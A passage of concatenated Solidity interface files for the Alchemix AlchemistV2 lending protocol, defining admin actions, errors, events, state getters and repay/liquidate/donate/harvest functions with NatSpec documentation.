`recipient`. /// /// @notice `amount` will be limited up to the amount of debt that `recipient` currently holds. /// /// @notice `amount` must be greater than zero or this call will revert with a {IllegalArgument} error. /// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error. /// @notice `underlyingToken` must be enabled or this call will revert with a {TokenDisabled} error. /// @notice `amount` must be less than or equal to the current available repay limit or this call will revert with a {ReplayLimitExceeded} error. /// /// @notice Emits a {Repay} event. /// @notice **_NOTE:_** This function is WHITELISTED. /// /// @notice **Example:** /// @notice ``` /// @notice address dai = 0x6b175474e89094c44da98b954eedeac495271d0f; /// @notice uint256 amtRepay = 5000; /// @notice AlchemistV2(alchemistAddress).repay(dai, amtRepay, msg.sender); /// @notice ``` /// /// @param underlyingToken The address of the underlying token to repay. /// @param amount The amount of the underlying token to repay. /// @param recipient The address of the recipient which will receive credit. /// /// @return amountRepaid The amount of tokens that were repaid. function repay( address underlyingToken, uint256 amount, address recipient ) external returns (uint256 amountRepaid); /// @notice /// /// @notice `shares` will be limited up to an equal amount of debt that `recipient` currently holds. /// /// @notice `shares` must be greater than zero or this call will revert with a {IllegalArgument} error. /// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error. /// @notice `yieldToken` must be enabled or this call will revert with a {TokenDisabled} error. /// @notice `yieldToken` underlying token must be enabled or this call will revert with a {TokenDisabled} error. /// @notice The loss in expected value of `yieldToken` must be less than the maximum permitted by the system or this call will revert with a {LossExceeded} error. /// @notice `amount` must be less than or equal to the current available liquidation limit or this call will revert with a {LiquidationLimitExceeded} error. /// /// @notice Emits a {Liquidate} event. /// /// @notice **_NOTE:_** This function is WHITELISTED. /// /// @notice **Example:** /// @notice ``` /// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95; /// @notice uint256 amtSharesLiquidate = 5000 * 10**ydai.decimals(); /// @notice AlchemistV2(alchemistAddress).liquidate(ydai, amtSharesLiquidate, 1); /// @notice ``` /// /// @param yieldToken The address of the yield token to liquidate. /// @param shares The number of shares to burn for credit. /// @param minimumAmountOut The minimum amount of underlying tokens that are expected to be liquidated. /// /// @return sharesLiquidated The amount of shares that were liquidated. function liquidate( address yieldToken, uint256 shares, uint256 minimumAmountOut ) external returns (uint256 sharesLiquidated); /// @notice Burns `amount` debt tokens to credit accounts which have deposited `yieldToken`. /// /// @notice `amount` must be greater than zero or this call will revert with a {IllegalArgument} error. /// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error. /// /// @notice Emits a {Donate} event. /// /// @notice **_NOTE:_** This function is WHITELISTED. /// /// @notice **Example:** /// @notice ``` /// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95; /// @notice uint256 amtSharesLiquidate = 5000; /// @notice AlchemistV2(alchemistAddress).liquidate(dai, amtSharesLiquidate, 1); /// @notice ``` /// /// @param yieldToken The address of the yield token to credit accounts for. /// @param amount The amount of debt tokens to burn. function donate(address yieldToken, uint256 amount) external; /// @notice Harvests outstanding yield that a yield token has accumulated and distributes it as credit to holders. /// /// @notice `msg.sender` must be a keeper or this call will revert with an {Unauthorized} error. /// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error. /// @notice The amount being harvested must be greater than zero or else this call will revert with an {IllegalState} error. /// /// @notice Emits a {Harvest} event. /// /// @param yieldToken The address of the yield token to harvest. /// @param minimumAmountOut The minimum amount of underlying tokens that are expected to be withdrawn to `recipient`. function harvest(address yieldToken, uint256 minimumAmountOut) external; } pragma solidity >=0.5.0; /// @title IAlchemistV2AdminActions /// @author Alchemix Finance /// /// @notice Specifies admin and or sentinel actions. interface IAlchemistV2AdminActions { /// @notice Contract initialization parameters. struct InitializationParams { // The initial admin account. address admin; // The ERC20 token used to represent debt. address debtToken; // The initial transmuter or transmuter buffer. address transmuter; // The minimum collateralization ratio that an account must maintain. uint256 minimumCollateralization; // The percentage fee taken from each harvest measured in units of basis points. uint256 protocolFee; // The address that receives protocol fees. address protocolFeeReceiver; // A limit used to prevent administrators from making minting functionality inoperable. uint256 mintingLimitMinimum; // The maximum number of tokens that can be minted per period of time. uint256 mintingLimitMaximum; // The number of blocks that it takes for the minting limit to be refreshed. uint256 mintingLimitBlocks; // The address of the whitelist. address whitelist; } /// @notice Configuration parameters for an underlying token. struct UnderlyingTokenConfig { // A limit used to prevent administrators from making repayment functionality inoperable. uint256 repayLimitMinimum; // The maximum number of underlying tokens that can be repaid per period of time. uint256 repayLimitMaximum; // The number of blocks that it takes for the repayment limit to be refreshed. uint256 repayLimitBlocks; // A limit used to prevent administrators from making liquidation functionality inoperable. uint256 liquidationLimitMinimum; // The maximum number of underlying tokens that can be liquidated per period of time. uint256 liquidationLimitMaximum; // The number of blocks that it takes for the liquidation limit to be refreshed. uint256 liquidationLimitBlocks; } /// @notice Configuration parameters of a yield token. struct YieldTokenConfig { // The adapter used by the system to interop with the token. address adapter; // The maximum percent loss in expected value that can occur before certain actions are disabled measured in // units of basis points. uint256 maximumLoss; // The maximum value that can be held by the system before certain actions are disabled measured in the // underlying token. uint256 maximumExpectedValue; // The number of blocks that credit will be distributed over to depositors. uint256 creditUnlockBlocks; } /// @notice Initialize the contract. /// /// @notice `params.protocolFee` must be in range or this call will with an {IllegalArgument} error. /// @notice The minting growth limiter parameters must be valid or this will revert with an {IllegalArgument} error. For more information, see the {Limiters} library. /// /// @notice Emits an {AdminUpdated} event. /// @notice Emits a {TransmuterUpdated} event. /// @notice Emits a {MinimumCollateralizationUpdated} event. /// @notice Emits a {ProtocolFeeUpdated} event. /// @notice Emits a {ProtocolFeeReceiverUpdated} event. /// @notice Emits a {MintingLimitUpdated} event. /// /// @param params The contract initialization parameters. function initialize(InitializationParams memory params) external; /// @notice Sets the pending administrator. /// /// @notice `msg.sender` must be the admin or this call will will revert with an {Unauthorized} error. /// /// @notice Emits a {PendingAdminUpdated} event. /// /// @dev This is the first step in the two-step process of setting a new administrator. After this function is called, the pending administrator will then need to call {acceptAdmin} to complete the process. /// /// @param value the address to set the pending admin to. function setPendingAdmin(address value) external; /// @notice Allows for `msg.sender` to accepts the role of administrator. /// /// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error. /// @notice The current pending administrator must be non-zero or this call will revert with an {IllegalState} error. /// /// @dev This is the second step in the two-step process of setting a new administrator. After this function is successfully called, this pending administrator will be reset and the new administrator will be set. /// /// @notice Emits a {AdminUpdated} event. /// @notice Emits a {PendingAdminUpdated} event. function acceptAdmin() external; /// @notice Sets an address as a sentinel. /// /// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error. /// /// @param sentinel The address to set or unset as a sentinel. /// @param flag A flag indicating of the address should be set or unset as a sentinel. function setSentinel(address sentinel, bool flag) external; /// @notice Sets an address as a keeper. /// /// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error. /// /// @param keeper The address to set or unset as a keeper. /// @param flag A flag indicating of the address should be set or unset as a keeper. function setKeeper(address keeper, bool flag) external; /// @notice Adds an underlying token to the system. /// /// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error. /// /// @param underlyingToken The address of the underlying token to add. /// @param config The initial underlying token configuration. function addUnderlyingToken( address underlyingToken, UnderlyingTokenConfig calldata config ) external; /// @notice Adds a yield token to the system. /// /// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error. /// /// @notice Emits a {AddYieldToken} event. /// @notice Emits a {TokenAdapterUpdated} event. /// @notice Emits a {MaximumLossUpdated} event. /// /// @param yieldToken The address of the yield token to add. /// @param config The initial yield token configuration. function addYieldToken(address yieldToken, YieldTokenConfig calldata config) external; /// @notice Sets an underlying token as either enabled or disabled. /// /// @notice `msg.sender` must be either the admin or a sentinel or this call will revert with an {Unauthorized} error. /// @notice `underlyingToken` must be registered or this call will revert with a {UnsupportedToken} error. /// /// @notice Emits an {UnderlyingTokenEnabled} event. /// /// @param underlyingToken The address of the underlying token to enable or disable. /// @param enabled If the underlying token should be enabled or disabled. function setUnderlyingTokenEnabled(address underlyingToken, bool enabled) external; /// @notice Sets a yield token as either enabled or disabled. /// /// @notice `msg.sender` must be either the admin or a sentinel or this call will revert with an {Unauthorized} error. /// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error. /// /// @notice Emits a {YieldTokenEnabled} event. /// /// @param yieldToken The address of the yield token to enable or disable. /// @param enabled If the underlying token should be enabled or disabled. function setYieldTokenEnabled(address yieldToken, bool enabled) external; /// @notice Configures the the repay limit of `underlyingToken`. /// /// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error. /// @notice `underlyingToken` must be registered or this call will revert with a {UnsupportedToken} error. /// /// @notice Emits a {ReplayLimitUpdated} event. /// /// @param underlyingToken The address of the underlying token to configure the repay limit of. /// @param maximum The maximum repay limit. /// @param blocks The number of blocks it will take for the maximum repayment limit to be replenished when it is completely exhausted. function configureRepayLimit( address underlyingToken, uint256 maximum, uint256 blocks ) external; /// @notice Configure the liquidation limiter of `underlyingToken`. /// /// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error. /// @notice `underlyingToken` must be registered or this call will revert with a {UnsupportedToken} error. /// /// @notice Emits a {LiquidationLimitUpdated} event. /// /// @param underlyingToken The address of the underlying token to configure the liquidation limit of. /// @param maximum The maximum liquidation limit. /// @param blocks The number of blocks it will take for the maximum liquidation limit to be replenished when it is completely exhausted. function configureLiquidationLimit( address underlyingToken, uint256 maximum, uint256 blocks ) external; /// @notice Set the address of the transmuter. /// /// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error. /// @notice `value` must be non-zero or this call will revert with an {IllegalArgument} error. /// /// @notice Emits a {TransmuterUpdated} event. /// /// @param value The address of the transmuter. function setTransmuter(address value) external; /// @notice Set the minimum collateralization ratio. /// /// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error. /// /// @notice Emits a {MinimumCollateralizationUpdated} event. /// /// @param value The new minimum collateralization ratio. function setMinimumCollateralization(uint256 value) external; /// @notice Sets the fee that the protocol will take from harvests. /// /// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error. /// @notice `value` must be in range or this call will with an {IllegalArgument} error. /// /// @notice Emits a {ProtocolFeeUpdated} event. /// /// @param value The value to set the protocol fee to measured in basis points. function setProtocolFee(uint256 value) external; /// @notice Sets the address which will receive protocol fees. /// /// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error. /// @notice `value` must be non-zero or this call will revert with an {IllegalArgument} error. /// /// @notice Emits a {ProtocolFeeReceiverUpdated} event. /// /// @param value The address to set the protocol fee receiver to. function setProtocolFeeReceiver(address value) external; /// @notice Configures the minting limiter. /// /// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error. /// /// @notice Emits a {MintingLimitUpdated} event. /// /// @param maximum The maximum minting limit. /// @param blocks The number of blocks it will take for the maximum minting limit to be replenished when it is completely exhausted. function configureMintingLimit(uint256 maximum, uint256 blocks) external; /// @notice Sets the rate at which credit will be completely available to depositors after it is harvested. /// /// @notice Emits a {CreditUnlockRateUpdated} event. /// /// @param yieldToken The address of the yield token to set the credit unlock rate for. /// @param blocks The number of blocks that it will take before the credit will be unlocked. function configureCreditUnlockRate(address yieldToken, uint256 blocks) external; /// @notice Sets the token adapter of a yield token. /// /// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error. /// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error. /// @notice The token that `adapter` supports must be `yieldToken` or this call will revert with a {IllegalState} error. /// /// @notice Emits a {TokenAdapterUpdated} event. /// /// @param yieldToken The address of the yield token to set the adapter for. /// @param adapter The address to set the token adapter to. function setTokenAdapter(address yieldToken, address adapter) external; /// @notice Sets the maximum expected value of a yield token that the system can hold. /// /// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error. /// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error. /// /// @param yieldToken The address of the yield token to set the maximum expected value for. /// @param value The maximum expected value of the yield token denoted measured in its underlying token. function setMaximumExpectedValue(address yieldToken, uint256 value) external; /// @notice Sets the maximum loss that a yield bearing token will permit before restricting certain actions. /// /// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error. /// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error. /// /// @dev There are two types of loss of value for yield bearing assets: temporary or permanent. The system will automatically restrict actions which are sensitive to both forms of loss when detected. For example, deposits must be restricted when an excessive loss is encountered to prevent users from having their collateral harvested from them. While the user would receive credit, which then could be exchanged for value equal to the collateral that was harvested from them, it is seen as a negative user experience because the value of their collateral should have been higher than what was originally recorded when they made their deposit. /// /// @param yieldToken The address of the yield bearing token to set the maximum loss for. /// @param value The value to set the maximum loss to. This is in units of basis points. function setMaximumLoss(address yieldToken, uint256 value) external; /// @notice Snap the expected value `yieldToken` to the current value. /// /// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error. /// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error. /// /// @dev This function should only be used in the event of a loss in the target yield-token. For example, say a third-party protocol experiences a fifty percent loss. The expected value (amount of underlying tokens) of the yield tokens being held by the system would be two times the real value that those yield tokens could be redeemed for. This function gives governance a way to realize those losses so that users can continue using the token as normal. /// /// @param yieldToken The address of the yield token to snap. function snap(address yieldToken) external; } pragma solidity >=0.5.0; /// @title IAlchemistV2Errors /// @author Alchemix Finance /// /// @notice Specifies errors. interface IAlchemistV2Errors { /// @notice An error which is used to indicate that an operation failed because it tried to operate on a token that the system did not recognize. /// /// @param token The address of the token. error UnsupportedToken(address token); /// @notice An error which is used to indicate that an operation failed because it tried to operate on a token that has been disabled. /// /// @param token The address of the token. error TokenDisabled(address token); /// @notice An error which is used to indicate that an operation failed because an account became undercollateralized. error Undercollateralized(); /// @notice An error which is used to indicate that an operation failed because the expected value of a yield token in the system exceeds the maximum value permitted. /// /// @param yieldToken The address of the yield token. /// @param expectedValue The expected value measured in units of the underlying token. /// @param maximumExpectedValue The maximum expected value permitted measured in units of the underlying token. error ExpectedValueExceeded(address yieldToken, uint256 expectedValue, uint256 maximumExpectedValue); /// @notice An error which is used to indicate that an operation failed because the loss that a yield token in the system exceeds the maximum value permitted. /// /// @param yieldToken The address of the yield token. /// @param loss The amount of loss measured in basis points. /// @param maximumLoss The maximum amount of loss permitted measured in basis points. error LossExceeded(address yieldToken, uint256 loss, uint256 maximumLoss); /// @notice An error which is used to indicate that a minting operation failed because the minting limit has been exceeded. /// /// @param amount The amount of debt tokens that were requested to be minted. /// @param available The amount of debt tokens which are available to mint. error MintingLimitExceeded(uint256 amount, uint256 available); /// @notice An error which is used to indicate that an repay operation failed because the repay limit for an underlying token has been exceeded. /// /// @param underlyingToken The address of the underlying token. /// @param amount The amount of underlying tokens that were requested to be repaid. /// @param available The amount of underlying tokens that are available to be repaid. error RepayLimitExceeded(address underlyingToken, uint256 amount, uint256 available); /// @notice An error which is used to indicate that an repay operation failed because the liquidation limit for an underlying token has been exceeded. /// /// @param underlyingToken The address of the underlying token. /// @param amount The amount of underlying tokens that were requested to be liquidated. /// @param available The amount of underlying tokens that are available to be liquidated. error LiquidationLimitExceeded(address underlyingToken, uint256 amount, uint256 available); /// @notice An error which is used to indicate that the slippage of a wrap or unwrap operation was exceeded. /// /// @param amount The amount of underlying or yield tokens returned by the operation. /// @param minimumAmountOut The minimum amount of the underlying or yield token that was expected when performing /// the operation. error SlippageExceeded(uint256 amount, uint256 minimumAmountOut); } pragma solidity >=0.5.0; /// @title IAlchemistV2Immutables /// @author Alchemix Finance interface IAlchemistV2Immutables { /// @notice Returns the version of the alchemist. /// /// @return The version. function version() external view returns (string memory); /// @notice Returns the address of the debt token used by the system. /// /// @return The address of the debt token. function debtToken() external view returns (address); } pragma solidity >=0.5.0; /// @title IAlchemistV2Events /// @author Alchemix Finance interface IAlchemistV2Events { /// @notice Emitted when the pending admin is updated. /// /// @param pendingAdmin The address of the pending admin. event PendingAdminUpdated(address pendingAdmin); /// @notice Emitted when the administrator is updated. /// /// @param admin The address of the administrator. event AdminUpdated(address admin); /// @notice Emitted when an address is set or unset as a sentinel. /// /// @param sentinel The address of the sentinel. /// @param flag A flag indicating if `sentinel` was set or unset as a sentinel. event SentinelSet(address sentinel, bool flag); /// @notice Emitted when an address is set or unset as a keeper. /// /// @param sentinel The address of the keeper. /// @param flag A flag indicating if `keeper` was set or unset as a sentinel. event KeeperSet(address sentinel, bool flag); /// @notice Emitted when an underlying token is added. /// /// @param underlyingToken The address of the underlying token that was added. event AddUnderlyingToken(address indexed underlyingToken); /// @notice Emitted when a yield token is added. /// /// @param yieldToken The address of the yield token that was added. event AddYieldToken(address indexed yieldToken); /// @notice Emitted when an underlying token is enabled or disabled. /// /// @param underlyingToken The address of the underlying token that was enabled or disabled. /// @param enabled A flag indicating if the underlying token was enabled or disabled. event UnderlyingTokenEnabled(address indexed underlyingToken, bool enabled); /// @notice Emitted when an yield token is enabled or disabled. /// /// @param yieldToken The address of the yield token that was enabled or disabled. /// @param enabled A flag indicating if the yield token was enabled or disabled. event YieldTokenEnabled(address indexed yieldToken, bool enabled); /// @notice Emitted when the repay limit of an underlying token is updated. /// /// @param underlyingToken The address of the underlying token. /// @param maximum The updated maximum repay limit. /// @param blocks The updated number of blocks it will take for the maximum repayment limit to be replenished when it is completely exhausted. event RepayLimitUpdated(address indexed underlyingToken, uint256 maximum, uint256 blocks); /// @notice Emitted when the liquidation limit of an underlying token is updated. /// /// @param underlyingToken The address of the underlying token. /// @param maximum The updated maximum liquidation limit. /// @param blocks The updated number of blocks it will take for the maximum liquidation limit to be replenished when it is completely exhausted. event LiquidationLimitUpdated(address indexed underlyingToken, uint256 maximum, uint256 blocks); /// @notice Emitted when the transmuter is updated. /// /// @param transmuter The updated address of the transmuter. event TransmuterUpdated(address transmuter); /// @notice Emitted when the minimum collateralization is updated. /// /// @param minimumCollateralization The updated minimum collateralization. event MinimumCollateralizationUpdated(uint256 minimumCollateralization); /// @notice Emitted when the protocol fee is updated. /// /// @param protocolFee The updated protocol fee. event ProtocolFeeUpdated(uint256 protocolFee); /// @notice Emitted when the protocol fee receiver is updated. /// /// @param protocolFeeReceiver The updated address of the protocol fee receiver. event ProtocolFeeReceiverUpdated(address protocolFeeReceiver); /// @notice Emitted when the minting limit is updated. /// /// @param maximum The updated maximum minting limit. /// @param blocks The updated number of blocks it will take for the maximum minting limit to be replenished when it is completely exhausted. event MintingLimitUpdated(uint256 maximum, uint256 blocks); /// @notice Emitted when the credit unlock rate is updated. /// /// @param yieldToken The address of the yield token. /// @param blocks The number of blocks that distributed credit will unlock over. event CreditUnlockRateUpdated(address yieldToken, uint256 blocks); /// @notice Emitted when the adapter of a yield token is updated. /// /// @param yieldToken The address of the yield token. /// @param tokenAdapter The updated address of the token adapter. event TokenAdapterUpdated(address yieldToken, address tokenAdapter); /// @notice Emitted when the maximum expected value of a yield token is updated. /// /// @param yieldToken The address of the yield token. /// @param maximumExpectedValue The updated maximum expected value. event MaximumExpectedValueUpdated(address indexed yieldToken, uint256 maximumExpectedValue); /// @notice Emitted when the maximum loss of a yield token is updated. /// /// @param yieldToken The address of the yield token. /// @param maximumLoss The updated maximum loss. event MaximumLossUpdated(address indexed yieldToken, uint256 maximumLoss); /// @notice Emitted when the expected value of a yield token is snapped to its current value. /// /// @param yieldToken The address of the yield token. /// @param expectedValue The updated expected value measured in the yield token's underlying token. event Snap(address indexed yieldToken, uint256 expectedValue); /// @notice Emitted when `owner` grants `spender` the ability to mint debt tokens on its behalf. /// /// @param owner The address of the account owner. /// @param spender The address which is being permitted to mint tokens on the behalf of `owner`. /// @param amount The amount of debt tokens that `spender` is allowed to mint. event ApproveMint(address indexed owner, address indexed spender, uint256 amount); /// @notice Emitted when `owner` grants `spender` the ability to withdraw `yieldToken` from its account. /// /// @param owner The address of the account owner. /// @param spender The address which is being permitted to mint tokens on the behalf of `owner`. /// @param yieldToken The address of the yield token that `spender` is allowed to withdraw. /// @param amount The amount of shares of `yieldToken` that `spender` is allowed to withdraw. event ApproveWithdraw(address indexed owner, address indexed spender, address indexed yieldToken, uint256 amount); /// @notice Emitted when a user deposits `amount of `yieldToken` to `recipient`. /// /// @notice This event does not imply that `sender` directly deposited yield tokens. It is possible that the /// underlying tokens were wrapped. /// /// @param sender The address of the user which deposited funds. /// @param yieldToken The address of the yield token that was deposited. /// @param amount The amount of yield tokens that were deposited. /// @param recipient The address that received the deposited funds. event Deposit(address indexed sender, address indexed yieldToken, uint256 amount, address recipient); /// @notice Emitted when `shares` shares of `yieldToken` are burned to withdraw `yieldToken` from the account owned /// by `owner` to `recipient`. /// /// @notice This event does not imply that `recipient` received yield tokens. It is possible that the yield tokens /// were unwrapped. /// /// @param owner The address of the account owner. /// @param yieldToken The address of the yield token that was withdrawn. /// @param shares The amount of shares that were burned. /// @param recipient The address that received the withdrawn funds. event Withdraw(address indexed owner, address indexed yieldToken, uint256 shares, address recipient); /// @notice Emitted when `amount` debt tokens are minted to `recipient` using the account owned by `owner`. /// /// @param owner The address of the account owner. /// @param amount The amount of tokens that were minted. /// @param recipient The recipient of the minted tokens. event Mint(address indexed owner, uint256 amount, address recipient); /// @notice Emitted when `sender` burns `amount` debt tokens to grant credit to `recipient`. /// /// @param sender The address which is burning tokens. /// @param amount The amount of tokens that were burned. /// @param recipient The address that received credit for the burned tokens. event Burn(address indexed sender, uint256 amount, address recipient); /// @notice Emitted when `amount` of `underlyingToken` are repaid to grant credit to `recipient`. /// /// @param sender The address which is repaying tokens. /// @param underlyingToken The address of the underlying token that was used to repay debt. /// @param amount The amount of the underlying token that was used to repay debt. /// @param recipient The address that received credit for the repaid tokens. event Repay(address indexed sender, address indexed underlyingToken, uint256 amount, address recipient); /// @notice Emitted when `sender` liquidates `share` shares of `yieldToken`. /// /// @param owner The address of the account owner liquidating shares. /// @param yieldToken The address of the yield token. /// @param underlyingToken The address of the underlying token. /// @param shares The amount of the shares of `yieldToken` that were liquidated. event Liquidate(address indexed owner, address indexed yieldToken, address indexed underlyingToken, uint256 shares); /// @notice Emitted when `sender` burns `amount` debt tokens to grant credit to users who have deposited `yieldToken`. /// /// @param sender The address which burned debt tokens. /// @param yieldToken The address of the yield token. /// @param amount The amount of debt tokens which were burned. event Donate(address indexed sender, address indexed yieldToken, uint256 amount); /// @notice Emitted when `yieldToken` is harvested. /// /// @param yieldToken The address of the yield token that was harvested. /// @param minimumAmountOut The maximum amount of loss that is acceptable when unwrapping the underlying tokens into yield tokens, measured in basis points. /// @param totalHarvested The total amount of underlying tokens harvested. event Harvest(address indexed yieldToken, uint256 minimumAmountOut, uint256 totalHarvested); } pragma solidity >=0.5.0; /// @title IAlchemistV2State /// @author Alchemix Finance interface IAlchemistV2State { /// @notice Defines underlying token parameters. struct UnderlyingTokenParams { // The number of decimals the token has. This value is cached once upon registering the token so it is important // that the decimals of the token are immutable or the system will begin to have computation errors. uint8 decimals; // A coefficient used to normalize the token to a value comparable to the debt token. For example, if the // underlying token is 8 decimals and the debt token is 18 decimals then the conversion factor will be // 10^10. One unit of the underlying token will be comparably equal to one unit of the debt token. uint256 conversionFactor; // A flag to indicate if the token is enabled. bool enabled; } /// @notice Defines yield token parameters. struct YieldTokenParams { // The number of decimals the token has. This value is cached once upon registering the token so it is important // that the decimals of the token are immutable or the system will begin to have computation errors. uint8 decimals; // The associated underlying token that can be redeemed for the yield-token. address underlyingToken; // The adapter used by the system to wrap, unwrap, and lookup the conversion rate of this token into its // underlying token. address adapter; // The maximum percentage loss that is acceptable before disabling certain actions. uint256 maximumLoss; // The maximum value of yield tokens that the system can hold, measured in units of the underlying token. uint256 maximumExpectedValue; // The percent of credit that will be unlocked per block. The representation of this value is a 18 decimal // fixed point integer. uint256 creditUnlockRate; // The current balance of yield tokens which are held by users. uint256 activeBalance; // The current balance of yield tokens which are earmarked to be harvested by the system at a later time. uint256 harvestableBalance; // The total number of shares that have been minted for this token. uint256 totalShares; // The expected value of the tokens measured in underlying tokens. This value controls how much of the token // can be harvested. When users deposit yield tokens, it increases the expected value by how much the tokens // are exchangeable for in the underlying token. When users withdraw yield tokens, it decreases the expected // value by how much the tokens are exchangeable for in the underlying token. uint256 expectedValue; // The current amount of credit which is will be distributed over time to depositors. uint256 pendingCredit; // The amount of the pending credit that has been distributed. uint256 distributedCredit; // The block number which the last credit distribution occurred. uint256 lastDistributionBlock; // The total accrued weight. This is used to calculate how much credit a user has been granted over time. The // representation of this value is a 18 decimal fixed point integer. uint256 accruedWeight; // A flag to indicate if the token is enabled. bool enabled; } /// @notice Gets the address of the admin. /// /// @return admin The admin address. function admin() external view returns (address admin); /// @notice Gets the address of the pending administrator. /// /// @return pendingAdmin The pending administrator address. function pendingAdmin() external view returns (address pendingAdmin); /// @notice Gets if an address is a sentinel. /// /// @param sentinel The address to check. /// /// @return isSentinel If the address is a sentinel. function sentinels(address sentinel) external view returns (bool isSentinel); /// @notice Gets if an address is a keeper. /// /// @param keeper The address to check. /// /// @return isKeeper If the address is a keeper function keepers(address keeper) external view returns (bool isKeeper); /// @notice Gets the address of the transmuter. /// /// @return transmuter The transmuter address. function transmuter() external view returns (address transmuter); /// @notice Gets the minimum collateralization. /// /// @notice Collateralization is determined by taking the total value of collateral that a user has deposited into their account and dividing it their debt. /// /// @dev The value returned is a 18 decimal fixed point integer. /// /// @return minimumCollateralization The minimum collateralization. function minimumCollateralization() external view returns (uint256 minimumCollateralization); /// @notice Gets the protocol fee. /// /// @return protocolFee The protocol fee. function protocolFee() external view returns (uint256 protocolFee); /// @notice Gets the protocol fee receiver. /// /// @return protocolFeeReceiver The protocol fee receiver. function protocolFeeReceiver() external view returns (address protocolFeeReceiver); /// @notice Gets the address of the whitelist contract. /// /// @return whitelist The address of the whitelist contract. function whitelist() external view returns (address whitelist); /// @notice Gets the conversion rate of underlying tokens per share. /// /// @param yieldToken The address of the yield token to get the conversion rate for. /// /// @return rate The rate of underlying tokens per share. function getUnderlyingTokensPerShare(address yieldToken) external view returns (uint256 rate); /// @notice Gets the conversion rate of yield tokens per share. /// /// @param yieldToken The address of the yield token to get the conversion rate for. /// /// @return rate The rate of yield tokens per share. function getYieldTokensPerShare(address yieldToken) external view returns (uint256 rate); /// @notice Gets the supported underlying tokens. /// /// @dev The order of the entries returned by this function is not guaranteed to be consistent between calls. /// /// @return tokens The supported underlying tokens. function getSupportedUnderlyingTokens() external view returns (address[] memory tokens); /// @notice Gets the supported yield tokens. /// /// @dev The order of the entries returned by this function is not guaranteed to be consistent between calls. /// /// @return tokens The supported yield tokens. function getSupportedYieldTokens() external view returns (address[] memory tokens); /// @notice Gets if an underlying token is supported. /// /// @param underlyingToken The address of the underlying token to check. /// /// @return isSupported If the underlying token is supported. function isSupportedUnderlyingToken(address underlyingToken) external view returns (bool isSupported); /// @notice Gets if a yield token is supported. /// /// @param yieldToken The address of the yield token to check. /// /// @return isSupported If the yield token is supported. function isSupportedYieldToken(address yieldToken) external view returns (bool isSupported); /// @notice Gets information about the account owned by `owner`. /// /// @param owner The address that owns the account. /// /// @return debt The unrealized amount of debt that the account had incurred. /// @return depositedTokens The yield tokens that the owner has deposited. function accounts(address owner) external view returns (int256 debt, address[] memory depositedTokens); /// @notice Gets information about a yield token position for the account owned by `owner`. /// /// @param owner The address that owns the account. /// @param yieldToken The address of the yield token to get the position of. /// /// @return shares The amount of shares of that `owner` owns of the yield token. /// @return lastAccruedWeight The last recorded accrued weight of the yield token. function positions(address owner, address yieldToken) external view returns ( uint256 shares, uint256 lastAccruedWeight ); /// @notice Gets the amount of debt tokens `spender` is allowed to mint on behalf of `owner`. /// /// @param owner The owner of the account. /// @param spender The address which is allowed to mint on behalf of `owner`. /// /// @return allowance The amount of debt tokens that `spender` can mint on behalf of `owner`. function mintAllowance(address owner, address spender) external view returns (uint256 allowance); /// @notice Gets the amount of shares of `yieldToken` that `spender` is allowed to withdraw on behalf of `owner`. /// /// @param owner The owner of the account. /// @param spender The address which is allowed to withdraw on behalf of `owner`. /// @param yieldToken The address of the yield token. /// /// @return allowance The amount of shares that `spender` can withdraw on behalf of `owner`. function withdrawAllowance(address owner, address spender, address yieldToken) external view returns (uint256 allowance); /// @notice Gets the parameters of an underlying token. /// /// @param underlyingToken The address of the underlying token. /// /// @return params The underlying token parameters. function getUnderlyingTokenParameters(address underlyingToken) external view returns (UnderlyingTokenParams memory params); /// @notice Get the parameters and state of a yield-token. /// /// @param yieldToken The address of the yield token. /// /// @return params The yield token parameters. function getYieldTokenParameters(address yieldToken) external view returns (YieldTokenParams memory params); /// @notice Gets current limit, maximum, and rate of the minting limiter. /// /// @return currentLimit The current amount of debt tokens that can be minted. /// @return rate The maximum possible amount of tokens that can be liquidated at a time. /// @return maximum The highest possible maximum amount of debt tokens that can be minted at a time. function getMintLimitInfo() external view returns ( uint256 currentLimit, uint256 rate, uint256 maximum ); /// @notice Gets current limit, maximum, and rate of a repay limiter for `underlyingToken`. /// /// @param underlyingToken The address of the underlying token. /// /// @return currentLimit The current amount of underlying tokens that can be repaid. /// @return rate The rate at which the the current limit increases back to its maximum in tokens per block. /// @return maximum The maximum possible amount of tokens that can be repaid at a time. function getRepayLimitInfo(address underlyingToken) external view returns ( uint256 currentLimit, uint256 rate, uint256 maximum ); /// @notice Gets current limit, maximum, and rate of the liquidation limiter for `underlyingToken`. /// /// @param underlyingToken The address of the underlying token. /// /// @return currentLimit The current amount of underlying tokens that can be liquidated. /// @return rate The rate at which the function increases back to its maximum limit (tokens / block). /// @return maximum The highest possible maximum amount of debt tokens that can be liquidated at a time. function getLiquidationLimitInfo(address underlyingToken) external view returns ( uint256 currentLimit, uint256 rate, uint256 maximum ); } pragma solidity >=0.5.0; import "./IERC20Minimal.sol"; /// @title IERC20Burnable /// @author Alchemix Finance interface IERC20Burnable is IERC20Minimal { /// 